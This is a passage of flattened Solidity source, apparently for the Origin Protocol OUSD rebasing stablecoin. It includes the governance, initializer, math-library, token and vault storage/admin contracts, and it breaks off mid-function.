}
// File: @openzeppelin/upgrades/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: contracts/interfaces/IStrategy.sol
pragma solidity 0.5.11;
/**
* @title Platform interface to integrate with lending platform like Compound, AAVE etc.
*/
interface IStrategy {
/**
* @dev Deposit the given asset to platform
* @param _asset asset address
* @param _amount Amount to deposit
*/
function deposit(address _asset, uint256 _amount) external;
/**
* @dev Deposit the entire balance of all supported assets in the Strategy
* to the platform
*/
function depositAll() external;
/**
* @dev Withdraw given asset from Lending platform
*/
function withdraw(
address _recipient,
address _asset,
uint256 _amount
) external;
/**
* @dev Liquidate all assets in strategy and return them to Vault.
*/
function withdrawAll() external;
/**
* @dev Returns the current balance of the given asset.
*/
function checkBalance(address _asset)
external
view
returns (uint256 balance);
/**
* @dev Returns bool indicating whether strategy supports asset.
*/
function supportsAsset(address _asset) external view returns (bool);
/**
* @dev Collect reward tokens from the Strategy.
*/
function collectRewardToken() external;
/**
* @dev The address of the reward token for the Strategy.
*/
function rewardTokenAddress() external pure returns (address);
/**
* @dev The threshold (denominated in the reward token) over which the
* vault will auto harvest on allocate calls.
*/
function rewardLiquidationThreshold() external pure returns (uint256);
}
// File: contracts/governance/Governable.sol
pragma solidity 0.5.11;
/**
* @title OUSD Governable Contract
* @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change
* from owner to governor and renounce methods removed. Does not use
* Context.sol like Ownable.sol does for simplification.
* @author Origin Protocol Inc
*/
contract Governable {
// Storage position of the owner and pendingOwner of the contract
// keccak256("OUSD.governor");
bytes32
private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a;
// keccak256("OUSD.pending.governor");
bytes32
private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db;
// keccak256("OUSD.reentry.status");
bytes32
private constant reentryStatusPosition = 0x53bf423e48ed90e97d02ab0ebab13b2a235a6bfbe9c321847d5c175333ac4535;
// See OpenZeppelin ReentrancyGuard implementation
uint256 constant _NOT_ENTERED = 1;
uint256 constant _ENTERED = 2;
event PendingGovernorshipTransfer(
address indexed previousGovernor,
address indexed newGovernor
);
event GovernorshipTransferred(
address indexed previousGovernor,
address indexed newGovernor
);
/**
* @dev Initializes the contract setting the deployer as the initial Governor.
*/
constructor() internal {
_setGovernor(msg.sender);
emit GovernorshipTransferred(address(0), _governor());
}
/**
* @dev Returns the address of the current Governor.
*/
function governor() public view returns (address) {
return _governor();
}
/**
* @dev Returns the address of the current Governor.
*/
function _governor() internal view returns (address governorOut) {
bytes32 position = governorPosition;
assembly {
governorOut := sload(position)
}
}
/**
* @dev Returns the address of the pending Governor.
*/
function _pendingGovernor()
internal
view
returns (address pendingGovernor)
{
bytes32 position = pendingGovernorPosition;
assembly {
pendingGovernor := sload(position)
}
}
/**
* @dev Throws if called by any account other than the Governor.
*/
modifier onlyGovernor() {
require(isGovernor(), "Caller is not the Governor");
_;
}
/**
* @dev Returns true if the caller is the current Governor.
*/
function isGovernor() public view returns (bool) {
return msg.sender == _governor();
}
function _setGovernor(address newGovernor) internal {
bytes32 position = governorPosition;
assembly {
sstore(position, newGovernor)
}
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
bytes32 position = reentryStatusPosition;
uint256 _reentry_status;
assembly {
_reentry_status := sload(position)
}
// On the first call to nonReentrant, _notEntered will be true
require(_reentry_status != _ENTERED, "Reentrant call");
// Any calls to nonReentrant after this point will fail
assembly {
sstore(position, _ENTERED)
}
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
assembly {
sstore(position, _NOT_ENTERED)
}
}
function _setPendingGovernor(address newGovernor) internal {
bytes32 position = pendingGovernorPosition;
assembly {
sstore(position, newGovernor)
}
}
/**
* @dev Transfers Governance of the contract to a new account (`newGovernor`).
* Can only be called by the current Governor. Must be claimed for this to complete
* @param _newGovernor Address of the new Governor
*/
function transferGovernance(address _newGovernor) external onlyGovernor {
_setPendingGovernor(_newGovernor);
emit PendingGovernorshipTransfer(_governor(), _newGovernor);
}
/**
* @dev Claim Governance of the contract to a new account (`newGovernor`).
* Can only be called by the new Governor.
*/
function claimGovernance() external {
require(
msg.sender == _pendingGovernor(),
"Only the pending Governor can complete the claim"
);
_changeGovernor(msg.sender);
}
/**
* @dev Change Governance of the contract to a new account (`newGovernor`).
* @param _newGovernor Address of the new Governor
*/
function _changeGovernor(address _newGovernor) internal {
require(_newGovernor != address(0), "New Governor is address(0)");
emit GovernorshipTransferred(_governor(), _newGovernor);
_setGovernor(_newGovernor);
}
}
// File: contracts/utils/InitializableERC20Detailed.sol
pragma solidity 0.5.11;
/**
* @dev Optional functions from the ERC20 standard.
* Converted from openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
*/
contract InitializableERC20Detailed is IERC20 {
// Storage gap to skip storage from prior to OUSD reset
uint256[100] private _____gap;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
* @notice To avoid variable shadowing appended `Arg` after arguments name.
*/
function _initialize(
string memory nameArg,
string memory symbolArg,
uint8 decimalsArg
) internal {
_name = nameArg;
_symbol = symbolArg;
_decimals = decimalsArg;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: contracts/utils/StableMath.sol
pragma solidity 0.5.11;
// Based on StableMath from Stability Labs Pty. Ltd.
// https://github.com/mstable/mStable-contracts/blob/master/contracts/shared/StableMath.sol
library StableMath {
using SafeMath for uint256;
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/***************************************
Helpers
****************************************/
/**
* @dev Adjust the scale of an integer
* @param adjustment Amount to adjust by e.g. scaleBy(1e18, -1) == 1e17
*/
function scaleBy(uint256 x, int8 adjustment)
internal
pure
returns (uint256)
{
if (adjustment > 0) {
x = x.mul(10**uint256(adjustment));
} else if (adjustment < 0) {
x = x.div(10**uint256(adjustment * -1));
}
return x;
}
/***************************************
Precise Arithmetic
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z = x.mul(y);
// return 9e38 / 1e18 = 9e18
return z.div(scale);
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x.mul(y);
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled.add(FULL_SCALE.sub(1));
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e18 * 1e18 = 8e36
uint256 z = x.mul(FULL_SCALE);
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
}
// File: contracts/token/OUSD.sol
pragma solidity 0.5.11;
/**
* @title OUSD Token Contract
* @dev ERC20 compatible contract for OUSD
* @dev Implements an elastic supply
* @author Origin Protocol Inc
*/
/**
* NOTE that this is an ERC20 token but the invariant that the sum of
* balanceOf(x) for all x is not >= totalSupply(). This is a consequence of the
* rebasing design. Any integrations with OUSD should be aware.
*/
contract OUSD is Initializable, InitializableERC20Detailed, Governable {
using SafeMath for uint256;
using StableMath for uint256;
event TotalSupplyUpdated(
uint256 totalSupply,
uint256 rebasingCredits,
uint256 rebasingCreditsPerToken
);
enum RebaseOptions { NotSet, OptOut, OptIn }
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 public _totalSupply;
mapping(address => mapping(address => uint256)) private _allowances;
address public vaultAddress = address(0);
mapping(address => uint256) private _creditBalances;
uint256 public rebasingCredits;
uint256 public rebasingCreditsPerToken;
// Frozen address/credits are non rebasing (value is held in contracts which
// do not receive yield unless they explicitly opt in)
uint256 public nonRebasingSupply;
mapping(address => uint256) public nonRebasingCreditsPerToken;
mapping(address => RebaseOptions) public rebaseState;
function initialize(
string calldata _nameArg,
string calldata _symbolArg,
address _vaultAddress
) external onlyGovernor initializer {
InitializableERC20Detailed._initialize(_nameArg, _symbolArg, 18);
rebasingCreditsPerToken = 1e18;
vaultAddress = _vaultAddress;
}
/**
* @dev Verifies that the caller is the Savings Manager contract
*/
modifier onlyVault() {
require(vaultAddress == msg.sender, "Caller is not the Vault");
_;
}
/**
* @return The total supply of OUSD.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param _account Address to query the balance of.
* @return A uint256 representing the _amount of base units owned by the
* specified address.
*/
function balanceOf(address _account) public view returns (uint256) {
if (_creditBalances[_account] == 0) return 0;
return
_creditBalances[_account].divPrecisely(_creditsPerToken(_account));
}
/**
* @dev Gets the credits balance of the specified address.
* @param _account The address to query the balance of.
* @return (uint256, uint256) Credit balance and credits per token of the
* address
*/
function creditsBalanceOf(address _account)
public
view
returns (uint256, uint256)
{
return (_creditBalances[_account], _creditsPerToken(_account));
}
/**
* @dev Transfer tokens to a specified address.
* @param _to the address to transfer to.
* @param _value the _amount to be transferred.
* @return true on success.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "Transfer to zero address");
require(
_value <= balanceOf(msg.sender),
"Transfer greater than balance"
);
_executeTransfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value The _amount of tokens to be transferred.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0), "Transfer to zero address");
require(_value <= balanceOf(_from), "Transfer greater than balance");
_allowances[_from][msg.sender] = _allowances[_from][msg.sender].sub(
_value
);
_executeTransfer(_from, _to, _value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Update the count of non rebasing credits in response to a transfer
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value Amount of OUSD to transfer
*/
function _executeTransfer(
address _from,
address _to,
uint256 _value
) internal {
bool isNonRebasingTo = _isNonRebasingAccount(_to);
bool isNonRebasingFrom = _isNonRebasingAccount(_from);
// Credits deducted and credited might be different due to the
// differing creditsPerToken used by each account
uint256 creditsCredited = _value.mulTruncate(_creditsPerToken(_to));
uint256 creditsDeducted = _value.mulTruncate(_creditsPerToken(_from));
_creditBalances[_from] = _creditBalances[_from].sub(
creditsDeducted,
"Transfer amount exceeds balance"
);
_creditBalances[_to] = _creditBalances[_to].add(creditsCredited);
if (isNonRebasingTo && !isNonRebasingFrom) {
// Transfer to non-rebasing account from rebasing account, credits
// are removed from the non rebasing tally
nonRebasingSupply = nonRebasingSupply.add(_value);
// Update rebasingCredits by subtracting the deducted amount
rebasingCredits = rebasingCredits.sub(creditsDeducted);
} else if (!isNonRebasingTo && isNonRebasingFrom) {
// Transfer to rebasing account from non-rebasing account
// Decreasing non-rebasing credits by the amount that was sent
nonRebasingSupply = nonRebasingSupply.sub(_value);
// Update rebasingCredits by adding the credited amount
rebasingCredits = rebasingCredits.add(creditsCredited);
}
}
/**
* @dev Function to check the _amount of tokens that an owner has allowed to a _spender.
* @param _owner The address which owns the funds.
* @param _spender The address which will spend the funds.
* @return The number of tokens still available for the _spender.
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return _allowances[_owner][_spender];
}
/**
* @dev Approve the passed address to spend the specified _amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param _spender The address which will spend the funds.
* @param _value The _amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
_allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the _amount of tokens that an owner has allowed to a _spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param _spender The address which will spend the funds.
* @param _addedValue The _amount of tokens to increase the allowance by.
*/
function increaseAllowance(address _spender, uint256 _addedValue)
public
returns (bool)
{
_allowances[msg.sender][_spender] = _allowances[msg.sender][_spender]
.add(_addedValue);
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the _amount of tokens that an owner has allowed to a _spender.
* @param _spender The address which will spend the funds.
* @param _subtractedValue The _amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowances[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
_allowances[msg.sender][_spender] = 0;
} else {
_allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Mints new tokens, increasing totalSupply.
*/
function mint(address _account, uint256 _amount) external onlyVault {
_mint(_account, _amount);
}
/**
* @dev Creates `_amount` tokens and assigns them to `_account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address _account, uint256 _amount) internal nonReentrant {
require(_account != address(0), "Mint to the zero address");
bool isNonRebasingAccount = _isNonRebasingAccount(_account);
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
_creditBalances[_account] = _creditBalances[_account].add(creditAmount);
// If the account is non rebasing and doesn't have a set creditsPerToken
// then set it i.e. this is a mint from a fresh contract
if (isNonRebasingAccount) {
nonRebasingSupply = nonRebasingSupply.add(_amount);
} else {
rebasingCredits = rebasingCredits.add(creditAmount);
}
_totalSupply = _totalSupply.add(_amount);
require(_totalSupply < MAX_SUPPLY, "Max supply");
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Burns tokens, decreasing totalSupply.
*/
function burn(address account, uint256 amount) external onlyVault {
_burn(account, amount);
}
/**
* @dev Destroys `_amount` tokens from `_account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `_account` cannot be the zero address.
* - `_account` must have at least `_amount` tokens.
*/
function _burn(address _account, uint256 _amount) internal nonReentrant {
require(_account != address(0), "Burn from the zero address");
if (_amount == 0) {
return;
}
bool isNonRebasingAccount = _isNonRebasingAccount(_account);
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
uint256 currentCredits = _creditBalances[_account];
// Remove the credits, burning rounding errors
if (
currentCredits == creditAmount || currentCredits - 1 == creditAmount
) {
// Handle dust from rounding
_creditBalances[_account] = 0;
} else if (currentCredits > creditAmount) {
_creditBalances[_account] = _creditBalances[_account].sub(
creditAmount
);
} else {
revert("Remove exceeds balance");
}
// Remove from the credit tallies and non-rebasing supply
if (isNonRebasingAccount) {
nonRebasingSupply = nonRebasingSupply.sub(_amount);
} else {
rebasingCredits = rebasingCredits.sub(creditAmount);
}
_totalSupply = _totalSupply.sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Get the credits per token for an account. Returns a fixed amount
* if the account is non-rebasing.
* @param _account Address of the account.
*/
function _creditsPerToken(address _account)
internal
view
returns (uint256)
{
if (nonRebasingCreditsPerToken[_account] != 0) {
return nonRebasingCreditsPerToken[_account];
} else {
return rebasingCreditsPerToken;
}
}
/**
* @dev Is an account using rebasing accounting or non-rebasing accounting?
* Also, ensure contracts are non-rebasing if they have not opted in.
* @param _account Address of the account.
*/
function _isNonRebasingAccount(address _account) internal returns (bool) {
bool isContract = Address.isContract(_account);
if (isContract && rebaseState[_account] == RebaseOptions.NotSet) {
_ensureRebasingMigration(_account);
}
return nonRebasingCreditsPerToken[_account] > 0;
}
/**
* @dev Ensures internal account for rebasing and non-rebasing credits and
* supply is updated following deployment of frozen yield change.
*/
function _ensureRebasingMigration(address _account) internal {
if (nonRebasingCreditsPerToken[_account] == 0) {
// Set fixed credits per token for this account
nonRebasingCreditsPerToken[_account] = rebasingCreditsPerToken;
// Update non rebasing supply
nonRebasingSupply = nonRebasingSupply.add(balanceOf(_account));
// Update credit tallies
rebasingCredits = rebasingCredits.sub(_creditBalances[_account]);
}
}
/**
* @dev Add a contract address to the non rebasing exception list. I.e. the
* address's balance will be part of rebases so the account will be exposed
* to upside and downside.
*/
function rebaseOptIn() public nonReentrant {
require(_isNonRebasingAccount(msg.sender), "Account has not opted out");
// Convert balance into the same amount at the current exchange rate
uint256 newCreditBalance = _creditBalances[msg.sender]
.mul(rebasingCreditsPerToken)
.div(_creditsPerToken(msg.sender));
// Decreasing non rebasing supply
nonRebasingSupply = nonRebasingSupply.sub(balanceOf(msg.sender));
_creditBalances[msg.sender] = newCreditBalance;
// Increase rebasing credits, totalSupply remains unchanged so no
// adjustment necessary
rebasingCredits = rebasingCredits.add(_creditBalances[msg.sender]);
rebaseState[msg.sender] = RebaseOptions.OptIn;
// Delete any fixed credits per token
delete nonRebasingCreditsPerToken[msg.sender];
}
/**
* @dev Remove a contract address to the non rebasing exception list.
*/
function rebaseOptOut() public nonReentrant {
require(!_isNonRebasingAccount(msg.sender), "Account has not opted in");
// Increase non rebasing supply
nonRebasingSupply = nonRebasingSupply.add(balanceOf(msg.sender));
// Set fixed credits per token
nonRebasingCreditsPerToken[msg.sender] = rebasingCreditsPerToken;
// Decrease rebasing credits, total supply remains unchanged so no
// adjustment necessary
rebasingCredits = rebasingCredits.sub(_creditBalances[msg.sender]);
// Mark explicitly opted out of rebasing
rebaseState[msg.sender] = RebaseOptions.OptOut;
}
/**
* @dev Modify the supply without minting new tokens. This uses a change in
* the exchange rate between "credits" and OUSD tokens to change balances.
* @param _newTotalSupply New total supply of OUSD.
* @return uint256 representing the new total supply.
*/
function changeSupply(uint256 _newTotalSupply)
external
onlyVault
nonReentrant
{
require(_totalSupply > 0, "Cannot increase 0 supply");
if (_totalSupply == _newTotalSupply) {
emit TotalSupplyUpdated(
_totalSupply,
rebasingCredits,
rebasingCreditsPerToken
);
return;
}
_totalSupply = _newTotalSupply > MAX_SUPPLY
? MAX_SUPPLY
: _newTotalSupply;
rebasingCreditsPerToken = rebasingCredits.divPrecisely(
_totalSupply.sub(nonRebasingSupply)
);
require(rebasingCreditsPerToken > 0, "Invalid change in supply");
_totalSupply = rebasingCredits
.divPrecisely(rebasingCreditsPerToken)
.add(nonRebasingSupply);
emit TotalSupplyUpdated(
_totalSupply,
rebasingCredits,
rebasingCreditsPerToken
);
}
}
// File: contracts/interfaces/IBasicToken.sol
pragma solidity 0.5.11;
interface IBasicToken {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File: contracts/utils/Helpers.sol
pragma solidity 0.5.11;
library Helpers {
/**
* @notice Fetch the `symbol()` from an ERC20 token
* @dev Grabs the `symbol()` from a contract
* @param _token Address of the ERC20 token
* @return string Symbol of the ERC20 token
*/
function getSymbol(address _token) internal view returns (string memory) {
string memory symbol = IBasicToken(_token).symbol();
return symbol;
}
/**
* @notice Fetch the `decimals()` from an ERC20 token
* @dev Grabs the `decimals()` from a contract and fails if
* the decimal value does not live within a certain range
* @param _token Address of the ERC20 token
* @return uint256 Decimals of the ERC20 token
*/
function getDecimals(address _token) internal view returns (uint256) {
uint256 decimals = IBasicToken(_token).decimals();
require(
decimals >= 4 && decimals <= 18,
"Token must have sufficient decimal places"
);
return decimals;
}
}
// File: contracts/vault/VaultStorage.sol
pragma solidity 0.5.11;
/**
* @title OUSD VaultStorage Contract
* @notice The VaultStorage contract defines the storage for the Vault contracts
* @author Origin Protocol Inc
*/
contract VaultStorage is Initializable, Governable {
using SafeMath for uint256;
using StableMath for uint256;
using SafeMath for int256;
using SafeERC20 for IERC20;
event AssetSupported(address _asset);
event AssetDefaultStrategyUpdated(address _asset, address _strategy);
event StrategyApproved(address _addr);
event StrategyRemoved(address _addr);
event Mint(address _addr, uint256 _value);
event Redeem(address _addr, uint256 _value);
event CapitalPaused();
event CapitalUnpaused();
event RebasePaused();
event RebaseUnpaused();
event VaultBufferUpdated(uint256 _vaultBuffer);
event RedeemFeeUpdated(uint256 _redeemFeeBps);
event PriceProviderUpdated(address _priceProvider);
event AllocateThresholdUpdated(uint256 _threshold);
event RebaseThresholdUpdated(uint256 _threshold);
event UniswapUpdated(address _address);
event StrategistUpdated(address _address);
event MaxSupplyDiffChanged(uint256 maxSupplyDiff);
event YieldDistribution(address _to, uint256 _yield, uint256 _fee);
event TrusteeFeeBpsChanged(uint256 _basis);
event TrusteeAddressChanged(address _address);
// Assets supported by the Vault, i.e. Stablecoins
struct Asset {
bool isSupported;
}
mapping(address => Asset) assets;
address[] allAssets;
// Strategies approved for use by the Vault
struct Strategy {
bool isSupported;
uint256 _deprecated; // Deprecated storage slot
}
mapping(address => Strategy) strategies;
address[] allStrategies;
// Address of the Oracle price provider contract
address public priceProvider;
// Pausing bools
bool public rebasePaused = false;
bool public capitalPaused = true;
// Redemption fee in basis points
uint256 public redeemFeeBps;
// Buffer of assets to keep in Vault to handle (most) withdrawals
uint256 public vaultBuffer;
// Mints over this amount automatically allocate funds. 18 decimals.
uint256 public autoAllocateThreshold;
// Mints over this amount automatically rebase. 18 decimals.
uint256 public rebaseThreshold;
OUSD oUSD;
//keccak256("OUSD.vault.governor.admin.impl");
bytes32 constant adminImplPosition = 0xa2bd3d3cf188a41358c8b401076eb59066b09dec5775650c0de4c55187d17bd9;
// Address of the contract responsible for post rebase syncs with AMMs
address private _deprecated_rebaseHooksAddr = address(0);
// Address of Uniswap
address public uniswapAddr = address(0);
// Address of the Strategist
address public strategistAddr = address(0);
// Mapping of asset address to the Strategy that they should automatically
// be allocated to
mapping(address => address) public assetDefaultStrategies;
uint256 public maxSupplyDiff;
// Trustee contract that can collect a percentage of yield
address public trusteeAddress;
// Amount of yield collected in basis points
uint256 public trusteeFeeBps;
/**
* @dev set the implementation for the admin, this needs to be in a base class else we cannot set it
* @param newImpl address of the implementation
*/
function setAdminImpl(address newImpl) external onlyGovernor {
require(
Address.isContract(newImpl),
"new implementation is not a contract"
);
bytes32 position = adminImplPosition;
assembly {
sstore(position, newImpl)
}
}
}
// File: contracts/interfaces/IOracle.sol
pragma solidity 0.5.11;
interface IOracle {
/**
* @dev returns the asset price in USD, 8 decimal digits.
*/
function price(address asset) external view returns (uint256);
}
// File: contracts/interfaces/uniswap/IUniswapV2Router02.sol
pragma solidity 0.5.11;
interface IUniswapV2Router {
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
}
// File: contracts/vault/VaultAdmin.sol
pragma solidity 0.5.11;
/**
* @title OUSD Vault Admin Contract
* @notice The VaultAdmin contract makes configuration and admin calls on the vault.
* @author Origin Protocol Inc
*/
contract VaultAdmin is VaultStorage {
/**
* @dev Verifies that the caller is the Vault, Governor, or Strategist.
*/
modifier onlyVaultOrGovernorOrStrategist() {
require(
msg.sender == address(this) ||
msg.sender == strategistAddr ||
isGovernor(),
"Caller is not the Vault, Governor, or Strategist"
);
_;
}
modifier onlyGovernorOrStrategist() {
require(
msg.sender == strategistAddr || isGovernor(),
"Caller is not the Strategist or Governor"
);
_;
}
/***************************************
Configuration
****************************************/
/**
* @dev Set address of price provider.
* @param _priceProvider Address of price provider
*/
function setPriceProvider(address _priceProvider) external onlyGovernor {
priceProvider = _priceProvider;
emit PriceProviderUpdated(_priceProvider);
}
/**
* @dev Set a fee in basis points to be charged for a redeem.
* @param _redeemFeeBps Basis point fee to be charged
*/
function setRedeemFeeBps(uint256 _redeemFeeBps) external onlyGovernor {
redeemFeeBps = _redeemFeeBps;
emit RedeemFeeUpdated(_redeemFeeBps);
}
/**
* @dev Set a buffer of assets to keep in the Vault to handle most
* redemptions without needing to spend gas unwinding assets from a Strategy.
* @param _vaultBuffer Percentage using 18 decimals. 100% = 1e18.
*/
function setVaultBuffer(uint256 _vaultBuffer)
external
onlyGovernorOrStrategist
{
require(_vaultBuffer <= 1e18, "Invalid value");
vaultBuffer = _vaultBuffer;
emit VaultBufferUpdated(_vaultBuffer);
}
/**
* @dev Sets the minimum amount of OUSD in a mint to trigger an
* automatic allocation of funds afterwords.
* @param _threshold OUSD amount with 18 fixed decimals.
*/
function setAutoAllocateThreshold(uint256 _threshold)
external
onlyGovernor
{
autoAllocateThreshold = _threshold;
emit AllocateThresholdUpdated(_threshold);
}
/**
* @dev Set a minimum amount of OUSD in a mint or redeem that triggers a
* rebase
* @param _threshold OUSD amount with 18 fixed decimals.
*/
function setRebaseThreshold(uint256 _threshold) external onlyGovernor {
rebaseThreshold = _threshold;
emit RebaseThresholdUpdated(_threshold);
}
/**
* @dev Set address of Uniswap for performing liquidation of strategy reward
* tokens
* @param _address Address of Uniswap
*/
function setUniswapAddr(address _address) external onlyGovernor {
uniswapAddr = _address;
emit UniswapUpdated(_address);
}
/**
* @dev Set address of Strategist
* @param _address Address of Strategist
*/
function setStrategistAddr(address _address) external onlyGovernor {
strategistAddr = _address;
emit StrategistUpdated(_address);
}
/**
* @dev Set the default Strategy for an asset, i.e. the one which the asset
will be automatically allocated to and withdrawn from
* @param _asset Address of the asset
* @param _strategy Address of the Strategy
*/
function setAssetDefaultStrategy(address _asset, address _strategy)
external
onlyGovernorOrStrategist
{
emit AssetDefaultStrategyUpdated(_asset, _strategy);
require(strategies[_strategy].isSupported, "Strategy not approved");
IStrategy strategy = IStrategy(_strategy);
require(assets[_asset].isSupported, "Asset is not supported");
require(
strategy.supportsAsset(_asset),
"Asset not supported by Strategy"
);
assetDefaultStrategies[_asset] = _strategy;
}
/**
* @dev Add a supported asset to the contract, i.e. one that can be
* to mint OUSD.
* @param _asset Address of asset
*/
function supportAsset(address _asset) external onlyGovernor {
require(!assets[_asset].isSupported, "Asset already supported");
assets[_asset] = Asset({ isSupported: true });
allAssets.push(_asset);
// Verify that our oracle supports the asset
// slither-disable-next-line unused-return
IOracle(priceProvider).price(_asset);
emit AssetSupported(_asset);
}
/**
* @dev Add a strategy to the Vault.
* @param _addr Address of the strategy to add
*/
function approveStrategy(address _addr) external onlyGovernor {
require(!strategies[_addr].isSupported, "Strategy already approved");
strategies[_addr] = Strategy({ isSupported: true, _deprecated: 0 });
